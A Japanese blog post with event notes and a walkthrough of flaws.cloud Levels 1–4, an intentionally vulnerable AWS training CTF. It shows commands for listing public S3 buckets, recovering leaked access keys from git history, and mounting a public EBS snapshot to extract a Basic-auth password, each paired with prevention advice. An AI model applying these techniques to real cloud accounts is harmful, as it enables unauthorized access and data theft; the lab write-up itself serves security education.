とある診断員とSecurity-JAWS #01 参加記録 および flaws.cloudのLevel4までのメモ
はじめに
2019年11月17日(金)に開催された, とある診断員とSecurity-JAWS #01というイベントに参加しました。 このイベントは, AWS固有のセキュリティをCTF形式で学べるhttp://flaws.cloud/を, ハンズオン形式で勉強するイベントでした。
このイベントがなければこのサービスの存在も知らなかった上に, 他の参加者と一緒に問題を解く機会が得られなかったので, いい機会になりました。
ちなみに, ハンズオンで使用された資料は公開されているのでリンクを貼っておきます。
www.slideshare.net
AWSのセキュリティどころか, AWS-CLIツールの使用もままならない状況だったので, 備忘録としてコマンドの使用法およびflaws.cloudの解法を載せていきます。
もくじ
環境
- macOS Mojave version 10.14.6
AWS CLIについて
AWS CLIのcommand referenceは以下にあります。
command referenceは, まずサービス名を選択し, 次にコマンドを選択することでコマンドを一意に特定することができます。
例えば, ec2を選択すると, DescriptionとAvailable Commandsがあり, 使用できるコマンドの一覧が確認できます。そこで, 例としてdescribe-snapshot-attributeを選択すると, Description, Synopsis, Options, Examples, Outputがあり, コマンド自体について情報が確認できます。
ここでコマンドを実行したい場合は, ページ上部にある[ aws . サービス名 ]とSynopsisを連結して使用します。例えば, 先ほどのdescribe-snapshot-attributeで言えば, ページ上部に
[ aws . ec2 ]
の記載があり, Synopsisに
describe-snapshot-attribute --attribute <value> --snapshot-id <value> [--dry-run | --no-dry-run] [--cli-input-json <value>] [--generate-cli-skeleton <value>]
とあるため, $ aws ec2 describe-snapshot-attribute --attribute <value> --snapshot-id <value>
というコマンドを実行すれば良いことが分かります。
Level 1
概要
flaws.cloudにアクセスするとLevel 1があります。 書かれていることは以下の通りです。
- 一連のレベルを通してAWSの一般的な間違いと落とし穴を学ぶ
- AWS固有の問題をトピックとしている
- 各問題でヒントが提供される
- 全てが単一のAWSアカウントで実行される
- 全てのチャレンジはflaws.cloudのサブドメインである
- 最初のサブドメインを見つけられるか確認して
解法
まず, flaws.cloudがAWSのどのサービスを利用しているか確認します。これは, 使用しているAWSのサービスに応じて使用するCLIコマンドやURLで使用するために, 調査します。
これは, dig
やnslookup
で調査できます。好きなコマンドを使ってください。
$ dig flaws.cloud +short 52.218.228.218 $ dig -x 52.218.228.218 +short s3-website-us-west-2.amazonaws.com.
正引きでドメイン名flaws.cloud
に対応するIPアドレス52.218.228.218
を取得し, 逆引きでそのIPアドレスに対応するドメイン名s3-website-us-west-2.amazonaws.com.
を取得できました。したがって, awsのs3
を使い, regionはus-west-2
のAWSサービスを利用していることが分かりました。
この結果を用いて, aws s3のリファレンスを確認し, ページ下部にAvailable Commandsがあります。ここでは, 全体を見るためにlsを使います。
$ aws s3 ls s3://flaws.cloud 2017-03-14 12:00:38 2575 hint1.html 2017-03-03 13:05:17 1707 hint2.html 2017-03-03 13:05:11 1101 hint3.html 2018-07-11 01:47:16 3082 index.html 2018-07-11 01:47:16 15979 logo.png 2017-02-27 10:59:28 46 robots.txt 2017-02-27 10:59:30 1051 secret-dd02c7c.html
ここで, 怪しそうなsecret-dd02c7c.html
があるので, ここにアクセスします。
http://flaws.cloud/secret-dd02c7c.html
学べたこと
AWSでは, 静的ファイルのホストに使用するなど, あらゆる種類の権限と機能を備えたS3バケットを設定できます。一方で, 多くの人が非常に緩い権限でそれらのファイルを公開しています。Webサーバのディレクトリ一覧を公開しないように, バケット一覧を公開するべきではありません。
hackeroneのレポートにおける実例
間違いを避けるために
デフォルトでは, S3バケットは作成時にprivateで安全です。
flaws.cloudでは, Webページとしてアクセスできるように,"Static Website Hosting"をOnにして, "s3:GetObject"権限を全員に許可しています。Webページとしてバケットを公開するならば, これで問題ありません。
しかし, flaw(欠陥)を紹介するために, "Everyone"を追加して"List"権限を付与しました。"Everyone"はインターネット上の全員を意味します。全員に対して"List"のアクセス許可があるため, http://flaws.cloud.s3.amazonaws.comにアクセスするだけで一覧を見ることができます。
Level 2
概要
http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloudにアクセスするとLevel 2があります。
書かれていることは以下の通りです。
- 多少ひねっているものの, かなり似ている
- 自分用のAWSアカウントが必要
- 無料利用枠で良い
解法
AWSアカウントが必要なのでAWS CLIに設定します。設定にはaws configureを使います。
セットアップに関しては以下の記事か, google itしてください。
その後, Level 1と同じ流れで解いていきます。 digを使う際に, URLではなくドメイン名を入れる必要があることに注意してください。
$ dig level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud +short 52.218.232.75 $ dig -x 52.218.232.75 +short s3-website-us-west-2.amazonaws.com. $ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud 2017-02-27 11:02:15 80751 everyone.png 2017-03-03 12:47:17 1433 hint1.html 2017-02-27 11:04:39 1035 hint2.html 2017-02-27 11:02:14 2786 index.html 2017-02-27 11:02:14 26 robots.txt 2017-02-27 11:02:15 1051 secret-e4443fc.html
ここで, 怪しそうなsecret-e4443fc.html
があるので, アクセスします。
http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html
学べたこと
"Everyone"へのアクセス権限での公開と同様に, 人は誤って実際にはAWSアカウントを持っている全てのユーザを意味する"Any Authenticated AWS User"へのアクセス権限で公開してしまいます。これは, 自分のアカウントのユーザのみに公開していると誤解しているのかもしれません。
hackeroneのレポートにおける実例
- 認証されたAWSユーザのための公開アクセス権限
間違いを避けるために
特定のAWSユーザに対して公開アクセス権限を付与してください。
Level 3
概要
http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/にアクセスするとLevel 3があります。
書かれていることは以下の通りです。
解法
かなり似ているらしいので今までと同じ流れで解いていきます。
$ dig level3-9afd3927f195e10225021a578e6f78df.flaws.cloud +short 52.218.230.26 $ dig -x 52.218.230.26 +short s3-website-us-west-2.amazonaws.com. $ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud PRE .git/ 2017-02-27 09:14:33 123637 authenticated_users.png 2017-02-27 09:14:34 1552 hint1.html 2017-02-27 09:14:34 1426 hint2.html 2017-02-27 09:14:35 1247 hint3.html 2017-02-27 09:14:33 1035 hint4.html 2017-02-27 11:05:16 1703 index.html 2017-02-27 09:14:33 26 robots.txt
robots.txtがあるので中身を見ると, 以下のようになっています。
User-agent: * Disallow: /
MDN web docs Robots.txtによると, 以下のように書かれています。
Robots.txt は通常、ウェブサイトのルートに配置されているファイルです。このファイルは、クローラーからウェブサイトへのアクセスを許可するか、禁止するかを決定します。
したがって, *
(任意の)User-agentを許容し, TOP配下の全てのページをブロックしていることが分かります。
次に, .git
を解析します。
解析のために, cpを利用します。
$ aws s3 cp s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud ~/work/ --recursive : 略 $ git branch * master $ git log --oneline b64c8dc (HEAD -> master) Oops, accidentally added something I shouldn't have f52ec03 first commit $ git reset --hard HEAD^ HEAD is now at f52ec03 first commit $ ls access_keys.txt hint2.html index.html authenticated_users.png hint3.html robots.txt hint1.html hint4.html $ cat access_keys.txt access_key AK**(略) secret_access_key Od**(略)
ここで, Access Keyが得られたので登録します。素で$ aws configure
を実行すると, 自分のAccess Keyが上書きされてしまうため, --profile
オプションを利用したAccess Keyの使い分けを推奨します。また, digコマンドの結果でわかっているように, regionはus-west-2なので, それに倣ってus-west-2にします。
$ aws configure --profile level3 AWS Access Key ID [None]: AK**(略) AWS Secret Access Key [None]: Od**(略) Default region name [None]: us-west-2 Default output format [None]: json
その後, このaccess_keyを用いて中身を確認します。 保持しているバケットの一覧はlsで確認できます。
$ aws s3 ls --profile level3 2017-02-19 04:41:52 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud 2017-05-30 01:34:53 config-bucket-975426262029 2018-07-08 01:09:49 flaws-logs 2017-02-19 04:40:54 flaws.cloud 2017-02-24 14:15:42 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud 2017-02-27 03:29:03 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud 2017-02-27 03:49:31 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud 2017-02-27 04:49:03 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud 2017-02-27 04:48:40 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud 2017-02-27 05:07:13 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud
ここで, level4-
から始まるドメイン名があるので, このドメイン名にアクセスします。
学べたこと
人はしばしばAWS Keyを漏洩し, Keyを取り消さずにミスを隠蔽しようとします。不適切な配置や漏洩した可能性がある任意のAWS Key(もしくはSecrets)を, あなたは常に無効にするべきです。Secretsに対して素早く, そして頻繁に権限を与えて直してください。
また, AWSの特定のバケットのみを一覧表示に含めないという制限はできません。そのため, いくつかのバケットを一覧表示する権限をとある人に与えたとすると, その人は全てのバケットを一覧表示することができます。バケットの中に何があるかは分かりませんが, バケットが存在することが分かります。
同様に, バケットは全ての顧客に対して一意でなくてはならないglobal namespaceを使用することに注意してください。したがって, もしmerger_with_company_Y
といった秘密と思われる何かの名前のバケットを作成すると, そのバケットの存在を技術的に発見する可能性があります。
実例とケーススタディ
間違いを避けるために
もし誤って侵入, 保存, 共有, publicにされたと考えられる場合, 必ずSecretの権限を割り当て直してください。
Level 4
概要
http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/にアクセスするとLevel4があります。
書かれていることは以下の通りです。
- 次のレベルのために
4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
のEC2上で動いているWebページにアクセスする必要がある - nginxがセットアップされたすぐ後に, EC2のスナップショットが作成されたことを知っておくと役立つ
解法
4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloudにアクセスするとログインを求められます。Response HeaderのWWW-Authenticateを見るとBasic realm="Restricted Content"
とあるため, これはBasic認証であることとnginxでserveされていることがわかります。
ここで, 問題文にあるnginxがセットアップされたすぐ後に, EC2のスナップショットが作成されたことを知っておくと役立つ
とのヒントから, EC2のスナップショットを得たいという発想になります。
aws ec2のAvailable Commandsを見ると, describe-snapshotsがあります。単純にコマンドを実行すると膨大な量のスナップショットが表示されたため, スナップショットに紐づけられているOwnerIdの数を確認しました。
$ aws ec2 describe-snapshots --profile level3 | grep "OwnerId" | wc -l 21541
これだけあってはスナッップショットを特定するのは難しいです。そこで, OwnerIdを指定することでスナップショットを特定します。OwnerIdはaws sts get-caller-identityで取得できます。このコマンドでは, userID, AWSのaccountID, ARN(AWS Resource Name)を取得できます。
$ aws sts get-caller-identity --profile level3 { "UserId": "AI**LC", "Account": "97**29", "Arn": "arn:aws:iam::97**29:user/backup" }
取得したAcountIDを用いて, スナップショットを取得します。
$ aws ec2 describe-snapshots --owner-id 97**29 --profile level3 { "Snapshots": [ { "Description": "", "Encrypted": false, "OwnerId": "97**29", "Progress": "100%", "SnapshotId": "snap-0b**89", "StartTime": "20**0Z", "State": "completed", "VolumeId": "vol-04*50", "VolumeSize": 8, "Tags": [ { "Key": "Name", "Value": "fl**27" } ] } ] }
SnapshotIdを取得できたので, パーミッションを確認します。パーミッションはaws . ec2 describe-snapshot-attributeで取得できます。
$ aws ec2 describe-snapshot-attribute --snapshot-id snap-0b**89 --attribute createVolumePermission --profile level3 { "CreateVolumePermissions": [ { "Group": "all" } ], "SnapshotId": "snap-0b49342abd1bdcb89" }
Permissionは"Group": "all"
なので, 自分のアカウントにスナップショットを作成します。
aws ec2 create-volume --availability-zone us-west-2b --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 { "AvailabilityZone": "us-west-2b", "CreateTime": "2019-12-17T05:23:09.000Z", "Encrypted": false, "Size": 8, "SnapshotId": "snap-0b**89", "State": "creating", "VolumeId": "vol-07**c5", "Iops": 100, "Tags": [], "VolumeType": "gp2" }
この作成したインスタンスにesbをアタッチしてmountします。マウントした中身を見ると, setupNginx.shで.htpasswdに書き込みをしているようです。
ubuntu@ip-***-**-**-**:~$ cat /mnt/home/ubuntu/setupNginx.sh htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
htpasswd -c -b /etc/httpd/conf/.htpasswd ユーザ名 パスワード
の形式なので, 以下のように情報を抜き取れる
- ref: Basic認証設定
- user: flaws
- pass: nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
を入力してクリア。
学べたこと
AWSはEC2とデータベース(RDS)のスナップショットを作成できます。主な目的はバックアップを作成することですが, パスワードを忘れたとき人所有しているEC2にアクセスできるようにすることがあります。これは, 攻撃者に対しても同様です。
スナップショットは通常所有しているアカウントに生げんっされているため, 攻撃者はAWSキーにアクセスしてEC2の開始/停止等を行い, それを使用してEC2のスナップショットを作成して起動します。
おわりに
Level 5-6も終わっているのですが, 記事にする時間がなかったので今度更新します。冒頭で紹介した通り, 本イベントで使用された資料は公開されているので, flaws.cloudにチャレンジしてみてはいかがでしょうか?